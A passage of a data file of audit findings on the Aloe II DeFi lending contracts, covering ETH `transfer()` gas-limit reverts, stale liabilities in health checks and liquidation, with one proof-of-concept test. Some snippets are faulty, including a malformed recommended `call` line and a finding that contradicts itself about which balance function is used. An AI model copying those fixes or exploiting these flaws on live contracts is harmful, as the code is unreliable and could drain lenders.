Liquidate(repayable0, repayable1, incentive1, priceX128);\n }\n```\n\n## Impact \n\nStated above. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L282-L285\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUsing low-level call.value(amount) with the corresponding result check or using the OpenZeppelin Address.sendValue is advised","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/105.md"}} +{"title":"Due to a gas limit (2300 gas) of the `transfer()` function of Native ETH, the transaction of the `payable(callee).transfer(address(this).balance / strain)` in the Borrower#`liquidate()` may be reverted","severity":"medium","body":"Precise Pewter Dog\n\nmedium\n\n# Due to a gas limit (2300 gas) of the `transfer()` function of Native ETH, the transaction of the `payable(callee).transfer(address(this).balance / strain)` in the Borrower#`liquidate()` may be reverted\n## Summary\nDue to a gas limit (2300 gas) of the `transfer()` function of Native ETH, the transaction of the `payable(callee).transfer(address(this).balance / strain)` in the Borrower#`liquidate()` may be reverted.\n\n## Vulnerability Detail\nWhen a liquidator (`callee`) would liquidate a borrower, the liquidator would call the Borrower#`liquidate()`.\n\nWithin the Borrower#`liquidate()`, the amount (`address(this).balance / strain`) of NativeETH would be transferred to the liquidator (`callee` who is the `ILiquidator` contract) to cover transaction fees like this:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n```solidity\n /*\n ...\n * @dev As a baseline, `callee` receives `address(this).balance / strain` ETH. This amount is\n * intended to cover transaction fees. If the liquidation involves a swap callback, `callee`\n * receives a 5% bonus denominated in the surplus token. In other words, if the two numeric\n * callback arguments were denominated in the same asset, the first argument would be 5% larger.\n ...\n */\n function liquidate(ILiquidator callee, bytes calldata data, uint256 strain, uint40 oracleSeed) external {\n ...\n if (shouldSwap) { \n uint256 unleashTime = (slot0_ & SLOT0_MASK_UNLEASH) >> 208;\n require(0 < unleashTime && unleashTime < block.timestamp, \"Aloe: grace\");\n\n incentive1 /= strain;\n if (liabilities0 > 0) {\n // NOTE: This value is not constrained to `TOKEN1.balanceOf(address(this))`, so liquidators\n // are responsible for setting `strain` such that the transfer doesn't revert. This shouldn't\n // be an issue unless the borrower has already started accruing bad debt.\n uint256 available1 = mulDiv128(liabilities0, priceX128) + incentive1;\n\n TOKEN1.safeTransfer(address(callee), available1);\n callee.swap1For0(data, available1, liabilities0);\n\n repayable0 += liabilities0;\n } else { /// @audit info - if (liabilities0 <= 0)\n // NOTE: This value is not constrained to `TOKEN0.balanceOf(address(this))`, so liquidators\n // are responsible for setting `strain` such that the transfer doesn't revert. This shouldn't\n // be an issue unless the borrower has already started accruing bad debt.\n uint256 available0 = Math.mulDiv(liabilities1 + incentive1, Q128, priceX128);\n\n TOKEN0.safeTransfer(address(callee), available0);\n callee.swap0For1(data, available0, liabilities1);\n\n repayable1 += liabilities1;\n }\n }\n ...\n\n _repay(repayable0, repayable1);\n ...\n payable(callee).transfer(address(this).balance / strain); ///<--------------------- @audit\n ...\n }\n```\n\nAccording to the blog of ConsenSys Diligence, the `transfer()` function of Native ETH would use a fixed amount of gas unit (`2300 gas`) like this:\nhttps://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/\n\nOn the other hand, if the caller would be a smart contract, it takes more than 2300 gas unit.\nWithin the Borrower#`liquidate()` above, the caller of the `payable(callee).transfer(address(this).balance / strain)` would be the **ILiquidator contract** (`callee`).\nThis is problematic. Because due to a gas limit (2300 gas) of the `transfer()` function of Native ETH, the transaction of the `payable(callee).transfer(address(this).balance / strain)` in the Borrower#`liquidate()` may be reverted.\n\n## Impact\nDue to a gas limit (2300 gas) of the `transfer()` function of Native ETH, the transaction of the `payable(callee).transfer(address(this).balance / strain)` in the Borrower#`liquidate()` may be reverted.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n\n## Tool used\n- Manual Review\n\n## Recommendation\nWithin the Borrower#`liquidate()`, consider replacing the `transfer()` with the **low-level call** like this:\n```diff\n function liquidate(ILiquidator callee, bytes calldata data, uint256 strain, uint40 oracleSeed) external {\n ...\n+ payable(callee).call{ value: msg.value }(address(this).balance / strain)(\"\");\n- payable(callee).transfer(address(this).balance / strain);\n ...\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/092.md"}} +{"title":"Use of address.transfer(...) native function can revert.","severity":"medium","body":"Fast Pink Scorpion\n\nmedium\n\n# Use of address.transfer(...) native function can revert.\n## Summary\nThe Borrower.sol#liquidate(...) function used `payable(address).transfer(...)` native function to transfer ETH to the `callee` which can revert if the `callee` (address) account is a smart contract that uses up more than 2300gas.\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L434\n \n## Vulnerability Detail\n`address.transfer()` is called with 2300 gas which would revert if the callee is a smart contract account that has a fallback function that has code that uses up more than 2300 gas.\nThere are 2 instances in the code where address.transfer is used.\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\n- https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L434\n\n## Impact\naddress.transfer calls can revert.\n\n## Code Snippet\n```solidity\n//Borrower.sol#liquidate(...)\n283: payable(callee).transfer(address(this).balance / strain);//@audit dont use transfer\n```\n## Tool used\nManual Review\n\n## Recommendation\nUse `address.call{value: amount}()` to send ETH instead of address.transfer(...).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/087.md"}} +{"title":"Borrower.liquidate can revert if liqudators need more than 2300 gas to hadle payment","severity":"medium","body":"Bent Orchid Barbel\n\nmedium\n\n# Borrower.liquidate can revert if liqudators need more than 2300 gas to hadle payment\n## Summary\nTo send eth fees to the liquidator, `Borrower.liquidate` function [uses `transfer` function](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283), which only provides 2300 gas with the call. In case if liquidator contract has `receive` function that needs more amount of gas to handle payment, then this call will revert and liquidation will revert as well.\n## Vulnerability Detail\nExplained in summary.\n## Impact\nLiquidation can revert.\n## Code Snippet\nProvided above\n## Tool used\nVsCode\nManual Review\n\n## Recommendation\nBetter use `call` transfer and provide whole gas to it(it's liquidator's gas anyway).","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/062.md"}} +{"title":"Borrower.sol#withdrawAnte - transfer()` depends on gas constants","severity":"medium","body":"Savory Laurel Urchin\n\nmedium\n\n# Borrower.sol#withdrawAnte - transfer()` depends on gas constants\n## Summary\ntransfer() forwards 2300 gas only, which may not be enough in future if the recipient is a contract and gas costs change. it could break existing contracts functionality.\n## Vulnerability Detail\n1) The destination is a smart contract that doesn’t implement a payable function or it implements a payable function but that function uses more than 2300 gas units.\n2) The destination is a smart contract that doesn’t implement a payable fallback function or it implements a payable fallback function but that function uses more than 2300 gas units.\n3) The destination is a smart contract but that smart contract is called via an intermediate proxy contract increasing the case requirements to more than 2300 gas units. A further example of unknown destination complexity is that of a multisig wallet that as part of its operation uses more than 2300 gas units.\n4) Future changes or forks in Ethereum result in higher gas fees than transfer provides. The .transfer() creates a hard dependency on 2300 gas units being appropriate now and into the future.\n## Impact\nSince the `transfer()` uses a constant gas cost of 2300 gas which can and will Change which will lead to stuck ethers(coin) in the smart contracts.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L434\n## Tool used\n\nManual Review\nhttps://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/\n\n## Recommendation\n ```js\n uint256 amount = address(this).balance;\n (bool success, ) = recipient.call.value(amount)(\"\");\n require(success, \"Transfer failed.\");\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/053.md"}} +{"title":"Withdrawing ante can fail due to use of `transfer()` on address payable","severity":"medium","body":"Rare Violet Caribou\n\nmedium\n\n# Withdrawing ante can fail due to use of `transfer()` on address payable\n## Summary\nBorrower.sol uses .transfer() while withdrawing ante and to send ante to `owner()`, the `ante` received is in `ether`. There are a number of issues with using .transfer(), as it can fail for a number of reasons (specified in the Proof of Concept).\n## Vulnerability Detail\n```solidity\nfunction withdrawAnte(address payable recipient) external onlyInModifyCallback {\n // WARNING: External call to user-specified address\n recipient.transfer(address(this).balance);\n }\n```\n\nthe above code uses transfer to send eth and it can fail because of various reasons given below :\n\n 1) The destination is a smart contract that doesn’t implement a `payable` function or it implements a `payable` function but that function uses more than `2300` gas units.\n2) The destination is a smart contract that doesn’t implement a `payable` `fallback` function or it implements a `payable` `fallback` function but that function uses more than 2300 gas units.\n3) The destination is a smart contract but that smart contract is called via an intermediate proxy contract increasing the case requirements to more than 2300 gas units. A further example of unknown destination complexity is that of a multisig wallet that as part of its operation uses more than 2300 gas units.\n4) Future changes or forks in Ethereum result in higher gas fees than transfer provides. The .transfer() creates a hard dependency on 2300 gas units being appropriate now and into the future.\n\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L434\n\n```solidity\nfunction withdrawAnte(address payable recipient) external onlyInModifyCallback {\n // WARNING: External call to user-specified address\n recipient.transfer(address(this).balance);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead use the `.call()` function to transfer ether and avoid some of the limitations of `.transfer()`\n\n```solidity\n(bool success, ) = payable(recipient).call{value: address(this).balance}(\"\");\nrequire(success, \"Transfer failed.\");\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/018.md"}} +{"title":"Use call() instead of transfer() on an address payable","severity":"medium","body":"Melted Charcoal Mantis\n\nmedium\n\n# Use call() instead of transfer() on an address payable\n## Summary\nTransfer will always send ETH with a 2300 gas. This can be problematic for interacting smart contracts if gas cost change because their interaction may abruptly break.\n\n## Vulnerability Detail\nThe `transfer()` and `send()` functions forward a fixed amount of 2300 gas. Historically, it has often been recommended to use these functions for value transfers to guard against reentrancy attacks. However, the gas cost of EVM instructions may change significantly during hard forks which may break already deployed contract systems that make fixed assumptions about gas costs. For example. EIP 1884 broke several existing smart contracts due to a cost increase of the SLOAD instruction.\n```solidity\n function withdrawAnte(address payable recipient) external onlyInModifyCallback {\n // WARNING: External call to user-specified address\n recipient.transfer(address(this).balance);\n }\n\n\n```\n```solidity\n _repay(repayable0, repayable1);\n slot0 = (slot0_ & SLOT0_MASK_POSITIONS) | SLOT0_DIRT;\n\n payable(callee).transfer(address(this).balance / strain);\n emit Liquidate(repayable0, repayable1, incentive1, priceX128);\n```\n\n## Impact\nThe use of the deprecated transfer() function for an address will inevitably make the transaction fail when:\n\nThe claimer smart contract does not implement a payable function.\nThe claimer smart contract does implement a payable fallback which uses more than 2300 gas unit.\nThe claimer smart contract implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call's gas usage above 2300.\nAdditionally, using higher than 2300 gas might be mandatory for some multisig wallets.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L283\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L434\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse call instead of transfer.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//002-M/012.md"}} +{"title":"possible loss of funds because of miscalculation in liablitites","severity":"major","body":"Oblong Lava Pig\n\nmedium\n\n# possible loss of funds because of miscalculation in liablitites\n## Summary\n\nThere is a possible loss of funds, because the borrower has the ability to call `modify` on an unhealthy position, which is not intended.\n\n## Vulnerability Detail\n\nThe Borrower.sol contract has a view function called `getLiabilities` which is used to check the current debt with the 2 Lender contracts involved. \nThis view function is used in several other functions to be used as the base for the `isHealthy` check, which determines if the current position is still healthy (meaning, there is enough collateral and no bad debt)\n\nThe incentive for the Lender, to provide liquidity, is that he receives interest on the provided assets. This interest is accrued over time. To persist the currently accrued interest in the Lender.sol contract, there are the internal `_load` and `_save` functions. Which will update the stored Interest to the actual accrued interest. These are called whenever one of the external functions (e.g. repay, deposit, borrow, redeem), are called on the Lender. \nAdditionally there is a separate external function called `accrueInterest` which is only calling `_load` and `_save`.\n\nAlso, there are 2 different view functions to receive the current debt of a specific borrower.\n\n- `borrowBalanceStored` which returns `The amount of `asset` owed by `account` before accruing the latest interest.` \n- `borrowBalance` which returns `The amount of `asset` owed by `account` after accruing the latest interest.` \n\nThe beforementioned `getLiabilities` function of the Borrower.sol contract is using the latter one of these. \nTherefore it is **not** including the latest accrued interest. \n\nFor more frequently used markets, this is probably no issue as the lenders functions would be called regularly.\n\nBut, for less frequented markets there might arises a situation where the Lenders functions (including accrueInterest) are not called for a longer period of time, and therefore the stored `borrowBalance` is not updated with the latest interest. \n\nThis can result in a situation, where the Borrower.sol contract is still in a healthy state, but in regards to the ignored interest it would actually be unhealthy and should be liquidated.\n\nIn this state, the owner of the borrower.sol contract still can call `modify` and do potential harmful actions, like withdrawing assets up onto the limit (which is not respecting the latest interest as debt), which would basically steal a part of the interest from the lender.\n\nAlso, at this point the position could only be liquidated, after the interest was accrued in the lender.sol\n\n## Impact\n\n- Borrower can still call modify with an unhealthy position and possibly bad debt\n- Borrower can avoid paying interest to the lender (Loss of funds for the lender)\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L212-L232\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L314C54-L314C55\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L325C50-L325C50\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the `borrowBalancedStored` instead or call the lenders `accrueInterest` before in important functions of borrower (modify, warn, liquidate)","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/135.md"}} +{"title":"Latest interest is not included in Liabilities, causes possible Loss of funds.","severity":"major","body":"Active Lime Iguana\n\nmedium\n\n# Latest interest is not included in Liabilities, causes possible Loss of funds.\n## Summary\n\nThe borrower assesses their solvency or financial health by comparing their liabilities and assets. \nThey obtain their liabilities by invoking the _getLiabilities() function from the lender. \nThe issue with using borrowBalanceStored() instead of borrowBalance is that borrowBalanceStored() does not reflect the most recently accrued interest, \nand it only updates when another user triggers a function that involves loading and saving data on the lender. \nThis situation permits the borrower to still call _modify(), even if they would otherwise be insolvent. \nFor instance, they can still withdraw tokens or close a position.\n\n## Vulnerability Detail\n\nInside of borrower.sol _getLiabilities is used to calculate solvency. \n\n```solidty \nfunction _getLiabilities() private view returns (uint256 amount0, uint256 amount1) {\n amount0 = LENDER0.borrowBalanceStored(address(this));\n amount1 = LENDER1.borrowBalanceStored(address(this));\n }\n```\nhttps://github.com/sherlock-audit/2023-10-aloe-Oot2k/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\n\nLender now has two functions to get the borrowBalance (these are located in ledger.sol, parent class):\n\n```solidty \n**\n * @notice The amount of `asset` owed by `account` after accruing the latest interest. If one calls\n * `repay(borrowBalance(account), account)`, the `account` will be left with a borrow balance of 0.\n */\n function borrowBalance(address account) external view returns (uint256) {\n uint256 b = borrows[account];\n\n (Cache memory cache, , ) = _previewInterest(_getCache());\n unchecked {\n return b > 1 ? ((b - 1) * cache.borrowIndex).unsafeDivUp(BORROWS_SCALER) : 0;\n }\n }\n\n /// @notice The amount of `asset` owed by `account` before accruing the latest interest.\n function borrowBalanceStored(address account) external view returns (uint256) {\n uint256 b = borrows[account];\n\n unchecked {\n return b > 1 ? ((b - 1) * borrowIndex).unsafeDivUp(BORROWS_SCALER) : 0;\n }\n }\n```\n\nAs we can see, borrowBalanceStored does not call _previewInterest(), so it returns the balance without latest intrest. \n\n## Impact\n\nIn smaller, less active markets, there is no assurance of frequent interest rate updates. \nThis situation can be exploited by a borrower, especially if they hold a low-risk position that would only be liquidated through interest accrual. \nIf the interest rate remains unaltered, the borrower can still execute various actions through _modify(). \nFor instance, they can withdraw their tokens, effectively taking the unaccrued interest. (loss of funds)\n\nFurthermore, there are other minor issues to consider, primarily related to potential fund shortages and bad debt when initiating a liquidation without prior execution of the accrueInterest function.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-aloe-Oot2k/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse borrowBalance instead of Balance Stored.\n\n```solidty \nfunction _getLiabilities() private view returns (uint256 amount0, uint256 amount1) {\n amount0 = LENDER0.borrowBalance(address(this));\n amount1 = LENDER1.borrowBalance(address(this));\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/133.md"}} +{"title":"Liquidations can make debt stuck in the Lenders","severity":"major","body":"Faint Bronze Millipede\n\nhigh\n\n# Liquidations can make debt stuck in the Lenders\n## Summary\nDuring liquidation, the borrower's stored balance is used. If there's been a significant period where the interest hasn't been updated, the liquidator might only address the stored amount, excluding the accumulated interest.\n## Vulnerability Detail\nSuppose Alice is eligible for liquidation and her recorded liabilities are 100 of token0 and none of token1. However, these are the \"stored\" values for Alice. Her actual balance becomes 101 once the latest interest accrues.\n\nNow, Bob, the liquidator, steps in to liquidate Alice. But he doesn't account for the latest interest in the pool, so the maximum repay amount is capped at 100 instead of the actual 101, as seen here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L231-L232\n\nAfter a successful liquidation, only 100 tokens will be repaid to the lender, meaning 1 token is missing. The pool assumes that this amount will be repaid eventually. However, this single token is still treated as an outstanding loan by the lender, who anticipates its eventual repayment by Alice, continuing to accrue interest on it. Yet neither Alice nor anyone else is obligated to repay this amount since Alice has already been liquidated. As a result, there's no incentive for anyone to repay this excess amount to the lender. Even though such small discrepancies might seem trivial, they compromise the integrity of the accounting logic. Considering that this scenario could recur across multiple users and the repaid amounts continue accruing interest, the accounting discrepancies could escalate into significant issues.\n## Impact\nSince liquidators are limited to repaying only the stored balance and aren't required to update the pool's latest interest, this can lead to discrepancies in the lender's records. Consequently, some debt may remain indefinitely and will continue accruing interest. Therefore, I classify this as high.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L225-L232\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L231-L232\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse borrowBalance inside the lender not the stored balance such that the liquidators are forced to repay the entire amount regardless of that's incentivized or not","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/131.md"}} +{"title":"When the new rate model is set the latest interest is not accrued according to the previous rate model","severity":"major","body":"Faint Bronze Millipede\n\nmedium\n\n# When the new rate model is set the latest interest is not accrued according to the previous rate model\n## Summary\nWhen the new rate model is set the latest interest is not accrued according to the previous rate model which would create an unfair situation for the users. \n## Vulnerability Detail\nWhenever there is a change in the interest rate, the interest first accrues from the latest block to the current block for actions such as repay, borrow, deposit, and redeem. However, when a new rate model is set, the most recent interest does not accrue. Instead, it will accrue based on the current rate model, leading to an unfair and inconsistent interest accrual for users.\n\nAs seen here:\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L59-L64\n\nWhen the new rate model is set the previous interest is not accrued. \n## Impact\nUnfair accrual of the interest. If the new rate model is significantly different and there are many waiting interest to be accrued this can make the previous interest accrue in the rate model which can make the dripping of the interest unfair for th e lenders and borrowers.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Factory.sol#L282-L318\n\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L59-L64\n## Tool used\n\nManual Review\n\n## Recommendation\nAccrue the interest before the rate model update via accrueInterest() or the same flywheel with the repay-borrow-deposit-redeem functions (_load() and _save())","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/122.md"}} +{"title":"_getLiabilities uses borrowBalanceStored instead of borrowBalance","severity":"major","body":"Future Cherry Monkey\n\nhigh\n\n# _getLiabilities uses borrowBalanceStored instead of borrowBalance\n## Summary\nBorrower._getLiabilities uses borrowBalanceStored. This is inappropriate cause it doesn't reflect the current liability of the borrower.\n\n## Vulnerability Detail\nLender provides borrowBalanceStored and borrowBalance. The difference is that borrowBalance returns a value as if interest has been accrued. While borrowBalanceStored uses the stored borrowIndex which could be outdated.\n\n```solidity\n// https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L212-L233\n\n/**\n* @notice The amount of `asset` owed by `account` after accruing the latest interest. If one calls\n* `repay(borrowBalance(account), account)`, the `account` will be left with a borrow balance of 0.\n*/\nfunction borrowBalance(address account) external view returns (uint256) {\n uint256 b = borrows[account];\n\n (Cache memory cache, , ) = _previewInterest(_getCache());\n unchecked {\n return b > 1 ? ((b - 1) * cache.borrowIndex).unsafeDivUp(BORROWS_SCALER) : 0;\n }\n}\n\n/// @notice The amount of `asset` owed by `account` before accruing the latest interest.\nfunction borrowBalanceStored(address account) external view returns (uint256) {\n uint256 b = borrows[account];\n\n unchecked {\n return b > 1 ? ((b - 1) * borrowIndex).unsafeDivUp(BORROWS_SCALER) : 0;\n }\n}\n```\n\nWhen it's time to repay, interest would be accrued. In other words, borrowBalance would be used and it is in fact written in the [docs](https://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L244)\n\n```solidity\n/**\n* @notice Reduces `beneficiary`'s debt by `units`, assuming someone has pre-paid `amount` of `asset`. To repay\n* all debt for some account, call `repay(borrowBalance(account), account)`.\n* @dev To avoid frontrunning, `amount` should be pre-paid in the same transaction as the `repay` call.\n* @custom:example ```solidity\n* PERMIT2.permitTransferFrom(\n* permitMsg,\n* IPermit2.SignatureTransferDetails({to: address(lender), requestedAmount: amount}),\n* msg.sender,\n* signature\n* );\n* lender.repay(amount, beneficiary)\n* ```\n*/\n```\n\nBut the liability used in Borrower is the stored, not current\n```solidity\nfunction _getLiabilities() private view returns (uint256 amount0, uint256 amount1) {\n amount0 = LENDER0.borrowBalanceStored(address(this));\n amount1 = LENDER1.borrowBalanceStored(address(this));\n}\n```\n\n## Impact\nThe returned liabilities are used in `warn`, `liquidate` and `modify`. The incorrect value could cause a lot of bad behaviors such as\n* make unhealthy borrower appear like they are healthy\n* miscalculations and unnecessary reverts\n* liquidations cannot fully repay debt\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Borrower.sol#L527-L530\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Ledger.sol#L212-L233\nhttps://github.com/sherlock-audit/2023-10-aloe/blob/main/aloe-ii/core/src/Lender.sol#L244\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse `borrowBalance` in `_getLiabilities`","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/110.md"}} +{"title":"Wrong repay amount inside the liquidate function","severity":"major","body":"Savory Lavender Tardigrade\n\nhigh\n\n# Wrong repay amount inside the liquidate function\n## Summary\n\n## Vulnerability Detail\nWhen using the liquidate() function, [repayable0 and repayable1](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Borrower.sol#L280) are calculated without interest. During repayment in the repay() function, the [_load](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Lender.sol#L536-L547) function accrues interests and updates the borrow index.\n\n```solidity\n// Accrue interest and update reserves\n (Cache memory cache, ) = _load();\n\n unchecked {\n // Convert `amount` to `units`\n units = (amount * BORROWS_SCALER) / cache.borrowIndex;\n if (!(units < b)) {\n units = b - 1;\n\n uint256 maxRepay = (units * cache.borrowIndex).unsafeDivUp(BORROWS_SCALER);\n require(b > 1 && amount <= maxRepay, \"Aloe: repay too much\");\n } \n\n // Track borrows\n borrows[beneficiary] = b - units;\n cache.borrowBase -= units;\n }\n```\n\nThe [units](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Lender.sol#L265) will be lower than expected due to updated borrowIndex, and the [borrows[beneficiary]](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Lender.sol#L274) wont be zero as expected.\n\n## Impact\nDue to an incorrect repayment amount, the borrower balance cannot be fully paid, which may result in bad debt.\n## Code Snippet\nLiquidator.t.sol\n\n```solidity\nfunction test_spec_repayDAIAndETHWithUniswapPosition() public {\n //@audit\n uint256 strain = 1;\n // give the account 1 DAI and 0.1 ETH\n deal(address(asset0), address(account), 1.1e18);\n deal(address(asset1), address(account), 0.1e18);\n\n // borrow 200 DAI and 20 ETH\n bytes memory data = abi.encode(Action.BORROW, 200e18, 20e18);\n account.modify(this, data, (1 << 32));\n\n // create a small Uniswap position\n data = abi.encode(Action.UNI_DEPOSIT, 0, 0);\n account.modify(this, data, (1 << 32));\n\n _setInterest(lender0, 10010);\n _setInterest(lender1, 10010);\n assertEq(lender0.borrowBalance(address(account)), 200.2e18);\n assertEq(lender1.borrowBalance(address(account)), 20.02e18);\n\n vm.warp(10 days);\n\n // Even if the strain is one, debt is not cleared completely.\n account.liquidate(this, bytes(\"\"), strain, (1 << 32));\n\n console.log(lender0.borrowBalance(address(account)));\n console.log(lender1.borrowBalance(address(account)));\n\n vm.warp(1000 days);\n lender0.accrueInterest();\n lender1.accrueInterest();\n vm.expectRevert();\n account.liquidate(this, bytes(\"\"), strain, (1 << 32));\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nthe [accrueInterest()](https://github.com/sherlock-audit/2023-10-aloe/blob/b60c21af24738d517941f18f7caa8c7272f771c5/aloe-ii/core/src/Lender.sol#L311-L315) function should be called inside the liquidate function.","dataSource":{"name":"sherlock-audit/2023-10-aloe-judging","repo":"https://github.com/sherlock-audit/2023-10-aloe-judging","url":"https://github.com/sherlock-audit/2023-10-aloe-judging/blob/main//001-H/077.md"}} +{"title":"Borrower.sol: Health check uses stale liabilities","severity":"major","body":"Slow Indigo Woodpecker\n\nmedium\n\n# Borrower.sol: Health check uses stale liabilities\n## Summary\nThe `Borrower` uses the [`Borrower._getLiabilities`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L527-L530) function to query its current liabilities. The liabilities are then used in the `BalanceSheet.isHealthy` function to determine whether the `Borrower` is healthy. \n\nThe problem is that the `Borrower._getLiabilities` function returns stale liabilities without accruing interest. \n\nWhen interest has not been accrued for a long time, it's possible that there is a significant difference between the liabilities without interest accrued and liabilities with interest accrued. \n\nAs a result, the `Borrower` might be able to hold significantly more debt compared to its assets than it should be able to. \n\nThe risk is that due to market volatility, the protocol may end up with bad debt. \n\nThe loan to value (LTV) ratio depends on the implied volatility to essentially ensure that there can be no bad debt. Not keeping the LTV makes it more likely that the margin isn't big enough to cover sudden market movements. \n\nThis is also a problem for liquidations as it means that liquidations can occur that do not repay all liabilities but still take up all the `ante`. Thereby the `Borrower` ends up in a state with liabilities but no `ante` such that there is no incentive to liquidate it again should it become necessary. This means bad debt can accrue.\n\n## Vulnerability Detail\nThe `Borrower` uses the `_getLiabilities` function in multiple places. One of them is the [`Borrower.modify`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/Borrower.sol#L299-L327) function. \n\nThe `Borrower.modify` function calls [`BalanceSheet.isHealthy`](https://github.com/aloelabs/aloe-ii/blob/c71e7b0cfdec830b1f054486dfe9d58ce407c7a4/core/src/libraries/BalanceSheet.sol#L48-L80) to check that the `Borrower` 